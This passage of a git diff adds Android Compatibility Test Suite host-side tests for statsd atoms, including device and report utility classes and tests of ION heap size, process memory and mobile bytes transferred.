+            LogUtil.CLog.d(methodName + "() indicates true.");
+            return true;
+        } catch (AssertionError e) {
+            // Method is designed to fail if the answer is false.
+            LogUtil.CLog.d(methodName + "() indicates false.");
+            return false;
+        }
+    }
+
+    /** Make the test app standby-active so it can run syncs and jobs immediately. */
+    public static void allowImmediateSyncs(ITestDevice device) throws Exception {
+        device.executeShellCommand("am set-standby-bucket "
+                + DeviceUtils.STATSD_ATOM_TEST_PKG + " active");
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    public static void executeBackgroundService(ITestDevice device, String actionValue)
+            throws Exception {
+        executeServiceAction(device, "StatsdCtsBackgroundService", actionValue);
+    }
+
+    /**
+     * Runs the specified statsd package service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    public static void executeServiceAction(ITestDevice device, String service, String actionValue)
+            throws Exception {
+        allowBackgroundServices(device);
+        device.executeShellCommand(String.format(
+                "am startservice -n '%s/.%s' -e %s %s",
+                STATSD_ATOM_TEST_PKG, service,
+                KEY_ACTION, actionValue));
+    }
+
+    /**
+     * Required to successfully start a background service from adb in Android O.
+     */
+    private static void allowBackgroundServices(ITestDevice device) throws Exception {
+        device.executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", STATSD_ATOM_TEST_PKG));
+    }
+
+    /**
+     * Returns the kernel major version as a pair of ints.
+     */
+    public static Pair<Integer, Integer> getKernelVersion(ITestDevice device)
+            throws Exception {
+        String[] version = device.executeShellCommand("uname -r").split("\\.");
+        if (version.length < 2) {
+              throw new RuntimeException("Could not parse kernel version");
+        }
+        return Pair.create(Integer.parseInt(version[0]), Integer.parseInt(version[1]));
+    }
+
+    /** Returns if the device kernel version >= input kernel version. */
+    public static boolean isKernelGreaterEqual(ITestDevice device, Pair<Integer, Integer> version)
+            throws Exception {
+        Pair<Integer, Integer> kernelVersion = getKernelVersion(device);
+        return kernelVersion.first > version.first
+                || (kernelVersion.first == version.first && kernelVersion.second >= version.second);
+    }
+
+    private DeviceUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
new file mode 100644
index 0000000..9188894
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.GaugeBucketInfo;
+import com.android.os.StatsLog.GaugeMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+
+public final class ReportUtils {
+    private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    private static final long NS_PER_SEC = (long) 1E+9;
+
+    /**
+     * Returns a list of event metrics, which is sorted by timestamp, from the statsd report.
+     * Note: Calling this function deletes the report from statsd.
+     */
+    public static List<EventMetricData> getEventMetricDataList(ITestDevice device)
+            throws Exception {
+        ConfigMetricsReportList reportList = getReportList(device);
+        return getEventMetricDataList(reportList);
+    }
+
+    /**
+     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+     * contain a single report).
+     */
+    public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+            throws Exception {
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<EventMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getEventMetrics().getDataList());
+        }
+        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
+
+        CLog.d("Get EventMetricDataList as following:\n");
+        for (EventMetricData d : data) {
+            CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
+        }
+        return data;
+    }
+
+    public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
+        return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
+    }
+
+    /**
+     * Returns a list of gauge atoms from the statsd report. Assumes that there is only one bucket
+     * for the gauge metric.
+     * Note: calling this function deletes the report from statsd.
+     *
+     * @param checkTimestampTrucated if true, checks that atom timestmaps are properly truncated
+     */
+    public static List<Atom> getGaugeMetricAtoms(ITestDevice device,
+            boolean checkTimestampTruncated) throws Exception {
+        ConfigMetricsReportList reportList = getReportList(device);
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+
+        List<Atom> atoms = new ArrayList<>();
+        for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
+            assertThat(d.getBucketInfoCount()).isEqualTo(1);
+            GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
+            atoms.addAll(bucketInfo.getAtomList());
+            if (checkTimestampTruncated) {
+                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                    assertTimestampIsTruncated(timestampNs);
+                }
+            }
+        }
+
+        CLog.d("Got the following GaugeMetric atoms:\n");
+        for (Atom atom : atoms) {
+            CLog.d("Atom:\n" + atom.toString());
+        }
+        return atoms;
+    }
+
+    /**
+     * Delete all pre-existing reports corresponding to the CTS config.
+     */
+    public static void clearReports(ITestDevice device) throws Exception {
+        getReportList(device);
+    }
+
+    /**
+     * Retrieves the ConfigMetricsReports corresponding to the CTS config from statsd.
+     * Note: Calling this functions deletes the report from statsd.
+     */
+    private static ConfigMetricsReportList getReportList(ITestDevice device) throws Exception {
+        try {
+            String cmd = String.join(" ", DUMP_REPORT_CMD, ConfigUtils.CONFIG_ID_STRING,
+                    "--include_current_bucket", "--proto");
+            ConfigMetricsReportList reportList = DeviceUtils.getShellCommandOutput(device,
+                    ConfigMetricsReportList.parser(), cmd);
+            return reportList;
+        } catch (InvalidProtocolBufferException ex) {
+            int hostUid = DeviceUtils.getHostUid(device);
+            CLog.e("Failed to fetch and parse the statsd output report. Perhaps there is not a "
+                    + "valid statsd config for the requested uid=" + hostUid + ", id="
+                    + ConfigUtils.CONFIG_ID + ".");
+            throw ex;
+        }
+    }
+
+    /**
+     * Checks that a timestamp has been truncated to a multiple of 5 min.
+     */
+    private static void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+
+    private ReportUtils() {}
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/IonHeapSizeStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/IonHeapSizeStatsTests.java
new file mode 100644
index 0000000..3b3ccbe
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/IonHeapSizeStatsTests.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.memory;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class IonHeapSizeStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testIonHeapSize_optional() throws Exception {
+        if (isIonHeapSizeMandatory()) {
+            return;
+        }
+
+        List<AtomsProto.Atom> atoms = pullIonHeapSizeAsGaugeMetric();
+        if (atoms.isEmpty()) {
+            // No support.
+            return;
+        }
+        assertIonHeapSize(atoms);
+    }
+
+    public void testIonHeapSize_mandatory() throws Exception {
+        if (!isIonHeapSizeMandatory()) {
+            return;
+        }
+
+        List<AtomsProto.Atom> atoms = pullIonHeapSizeAsGaugeMetric();
+        assertIonHeapSize(atoms);
+    }
+
+    /** Returns whether IonHeapSize atom is supported. */
+    private boolean isIonHeapSizeMandatory() throws Exception {
+        // Support is guaranteed by libmeminfo VTS.
+        return PropertyUtil.getFirstApiLevel(getDevice()) >= 30;
+    }
+
+    /** Returns IonHeapSize atoms pulled as a simple gauge metric while test app is running. */
+    private List<AtomsProto.Atom> pullIonHeapSizeAsGaugeMetric() throws Exception {
+        // Get IonHeapSize as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.ION_HEAP_SIZE_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        return ReportUtils.getGaugeMetricAtoms(getDevice());
+    }
+
+    private static void assertIonHeapSize(List<AtomsProto.Atom> atoms) {
+        assertThat(atoms).hasSize(1);
+        AtomsProto.IonHeapSize ionHeapSize = atoms.get(0).getIonHeapSize();
+        assertThat(ionHeapSize.getTotalSizeKb()).isAtLeast(0);
+    }
+
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS
new file mode 100644
index 0000000..636e96e
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/OWNERS
@@ -0,0 +1,6 @@
+# These atom tests are owned by the Radiosonde team.
+dinoderek@google.com
+gaillard@google.com
+ilkos@google.com
+marcinoc@google.com
+rslawik@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
new file mode 100644
index 0000000..632e280
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/memory/ProcessMemoryStatsTests.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.memory;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class ProcessMemoryStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testProcessMemoryState() throws Exception {
+        // Get ProcessMemoryState as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_STATE_FIELD_NUMBER);
+
+        // Start test app.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Assert about ProcessMemoryState for the test app.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean found = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemoryState state = atom.getProcessMemoryState();
+            if (state.getUid() != uid) {
+                continue;
+            }
+            found = true;
+            assertThat(state.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            assertThat(state.getOomAdjScore()).isAtLeast(0);
+            assertThat(state.getPageFault()).isAtLeast(0L);
+            assertThat(state.getPageMajorFault()).isAtLeast(0L);
+            assertThat(state.getRssInBytes()).isGreaterThan(0L);
+            assertThat(state.getCacheInBytes()).isAtLeast(0L);
+            assertThat(state.getSwapInBytes()).isAtLeast(0L);
+        }
+        assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+                .that(found).isTrue();
+    }
+
+    public void testProcessMemoryHighWaterMark() throws Exception {
+        // Get ProcessMemoryHighWaterMark as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+            // Trigger a pull and wait for new pull before killing the process.
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        }
+
+        // Assert about ProcessMemoryHighWaterMark for the test app, statsd and system server.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean foundTestApp = false;
+        boolean foundStatsd = false;
+        boolean foundSystemServer = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
+            if (state.getUid() == uid) {
+                foundTestApp = true;
+                assertThat(state.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            } else if (state.getProcessName().contains("/statsd")) {
+                foundStatsd = true;
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            } else if (state.getProcessName().equals("system")) {
+                foundSystemServer = true;
+                assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
+            }
+        }
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d", uid))
+                .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+                .that(foundSystemServer).isTrue();
+    }
+
+    public void testProcessMemorySnapshot() throws Exception {
+        // Get ProcessMemorySnapshot as a simple gauge metric.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER);
+
+        // Start test app and trigger a pull while it is running.
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "StatsdCtsForegroundActivity", "action",
+                "action.show_notification")) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        }
+
+        // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+        int uid = DeviceUtils.getStatsdTestAppUid(getDevice());
+        boolean foundTestApp = false;
+        boolean foundStatsd = false;
+        boolean foundSystemServer = false;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
+            if (snapshot.getUid() == uid) {
+                foundTestApp = true;
+                assertThat(snapshot.getProcessName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+            } else if (snapshot.getProcessName().contains("/statsd")) {
+                foundStatsd = true;
+            } else if (snapshot.getProcessName().equals("system")) {
+                foundSystemServer = true;
+            }
+
+            assertThat(snapshot.getPid()).isGreaterThan(0);
+            assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
+                    snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
+            assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
+            assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
+        }
+        assertWithMessage(String.format("Did not find a matching atom for test app uid=%d", uid))
+                .that(foundTestApp).isTrue();
+        assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+        assertWithMessage("Did not find a matching atom for system server")
+                .that(foundSystemServer).isTrue();
+    }
+
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
new file mode 100644
index 0000000..8e4ca4d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/net/BytesTransferredTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.net;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.Atom;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.List;
+
+public class BytesTransferredTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        // Put a delay to give statsd enough time to remove previous configs and
+        // reports, as well as install the test app.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_APK,
+                DeviceUtils.STATSD_ATOM_TEST_PKG, mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallTestApp(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG);
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    // TODO: inline the contents of doTestUsageBytesTransferEnable
+    public void testDataUsageBytesTransfer() throws Throwable {
+        final boolean oldSubtypeCombined = getNetworkStatsCombinedSubTypeEnabled();
+
+        doTestDataUsageBytesTransferEnabled(true);
+
+        // Remove old configs from disk and clear any pending statsd reports to clear history.
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+
+        doTestDataUsageBytesTransferEnabled(false);
+
+        // Restore to original default value.
+        setNetworkStatsCombinedSubTypeEnabled(oldSubtypeCombined);
+    }
+
+    public void testMobileBytesTransfer() throws Throwable {
+        // Tests MobileBytesTransfer, passing a ThrowingPredicate that returns TransferredBytes,
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransfer data = atom.getMobileBytesTransfer();
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    public void testMobileBytesTransferByFgBg() throws Throwable {
+
+        doTestMobileBytesTransferThat(Atom.MOBILE_BYTES_TRANSFER_BY_FG_BG_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.MobileBytesTransferByFgBg data =
+                            atom.getMobileBytesTransferByFgBg();
+                    if (!data.getIsForeground()) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    // TODO(b/157651730): Determine how to test tag and metered state within atom.
+    public void testBytesTransferByTagAndMetered() throws Throwable {
+        doTestMobileBytesTransferThat(Atom.BYTES_TRANSFER_BY_TAG_AND_METERED_FIELD_NUMBER,
+                /*isUidAtom=*/true,
+                (atom) -> {
+                    final AtomsProto.BytesTransferByTagAndMetered data =
+                            atom.getBytesTransferByTagAndMetered();
+                    if (data.getTag() != 0 /*app traffic not generated on tag 0*/) {
+                        return null;
+                    }
+                    return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                            data.getRxPackets(), data.getTxPackets(), data.getUid());
+                }
+        );
+    }
+
+    private static class TransferredBytes {
+        final long mRxBytes;
+        final long mTxBytes;
+        final long mRxPackets;
+        final long mTxPackets;
+        final long mAppUid;
+
+        public TransferredBytes(
+                long rxBytes, long txBytes, long rxPackets, long txPackets, long appUid) {
+            mRxBytes = rxBytes;
+            mTxBytes = txBytes;
+            mRxPackets = rxPackets;
+            mTxPackets = txPackets;
+            mAppUid = appUid;
+        }
+    }
+
+    @FunctionalInterface
+    private interface ThrowingPredicate<S, T extends Throwable> {
+        TransferredBytes accept(S s) throws T;
+    }
+
+    private void doTestDataUsageBytesTransferEnabled(boolean enable) throws Throwable {
+        // Set value to enable/disable combine subtype.
+        setNetworkStatsCombinedSubTypeEnabled(enable);
+
+        doTestMobileBytesTransferThat(Atom.DATA_USAGE_BYTES_TRANSFER_FIELD_NUMBER, /*isUidAtom=*/
+                false, (atom) -> {
+                    final AtomsProto.DataUsageBytesTransfer data =
+                            atom.getDataUsageBytesTransfer();
+                    final boolean ratTypeEqualsToUnknown =
+                            (data.getRatType() == NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+                    final boolean ratTypeGreaterThanUnknown =
+                            (data.getRatType() > NetworkTypeEnum.NETWORK_TYPE_UNKNOWN_VALUE);
+
+                    if ((data.getState() == 1) // NetworkStats.SET_FOREGROUND
+                            && ((enable && ratTypeEqualsToUnknown)
+                            || (!enable && ratTypeGreaterThanUnknown))) {
+                        // Assert that subscription info is valid.
+                        assertSubscriptionInfo(data);
+                        // DataUsageBytesTransferred atom does not report app uid.
+                        return new TransferredBytes(data.getRxBytes(), data.getTxBytes(),
+                                data.getRxPackets(), data.getTxPackets(), /*appUid=*/-1);
+                    }
+                    return null;
+                });
+    }
+
+    private void doTestMobileBytesTransferThat(int atomId, boolean isUidAtom,
+            ThrowingPredicate<Atom, Exception> p)
+            throws Throwable {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) return;
+        // Upload the config.
+        final StatsdConfig.Builder config = ConfigUtils.createConfigBuilder(
+                DeviceUtils.STATSD_ATOM_TEST_PKG);
+        if (isUidAtom) {
+            ConfigUtils.addGaugeMetricForUidAtom(config, atomId, /*uidInAttributionChain=*/false,
+                    DeviceUtils.STATSD_ATOM_TEST_PKG);
+        } else {
+            ConfigUtils.addGaugeMetric(config, atomId);
+        }
+        ConfigUtils.uploadConfig(getDevice(), config);
+        // Generate some mobile traffic.
+        DeviceUtils.runDeviceTests(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG, ".AtomTests",
+                "testGenerateMobileTraffic");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Force poll NetworkStatsService to get most updated network stats from lower layer.
+        DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                "PollNetworkStatsActivity",
+                /*actionKey=*/null, /*actionValue=*/null);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Trigger atom pull.
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        final List<Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice(),
+                /*checkTimestampTruncated=*/true);
+        assertThat(atoms.size()).isAtLeast(1);
+        boolean foundAppStats = false;
+        for (final Atom atom : atoms) {
+            TransferredBytes transferredBytes = p.accept(atom);
+            if (transferredBytes != null) {
+                foundAppStats = true;
+                // Checks that the uid in the atom corresponds to the app uid and checks that the
+                // bytes and packet data are as expected.
+                if (isUidAtom) {
+                    final int appUid = DeviceUtils.getAppUid(getDevice(),
+                            DeviceUtils.STATSD_ATOM_TEST_PKG);
+                    assertThat(transferredBytes.mAppUid).isEqualTo(appUid);
+                }
+                assertDataUsageAtomDataExpected(
+                        transferredBytes.mRxBytes, transferredBytes.mTxBytes,
+                        transferredBytes.mRxPackets, transferredBytes.mTxPackets);
+            }
+        }
+        assertWithMessage("Data for uid " + DeviceUtils.getAppUid(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG)
+                + " is not found in " + atoms.size() + " atoms.").that(foundAppStats).isTrue();
+    }
+
+    private void assertDataUsageAtomDataExpected(long rxb, long txb, long rxp, long txp) {
+        assertThat(rxb).isGreaterThan(0L);
+        assertThat(txb).isGreaterThan(0L);
+        assertThat(rxp).isGreaterThan(0L);
+        assertThat(txp).isGreaterThan(0L);
+    }
+
+    private void assertSubscriptionInfo(AtomsProto.DataUsageBytesTransfer data) {
+        assertThat(data.getSimMcc()).matches("^\\d{3}$");
+        assertThat(data.getSimMnc()).matches("^\\d{2,3}$");
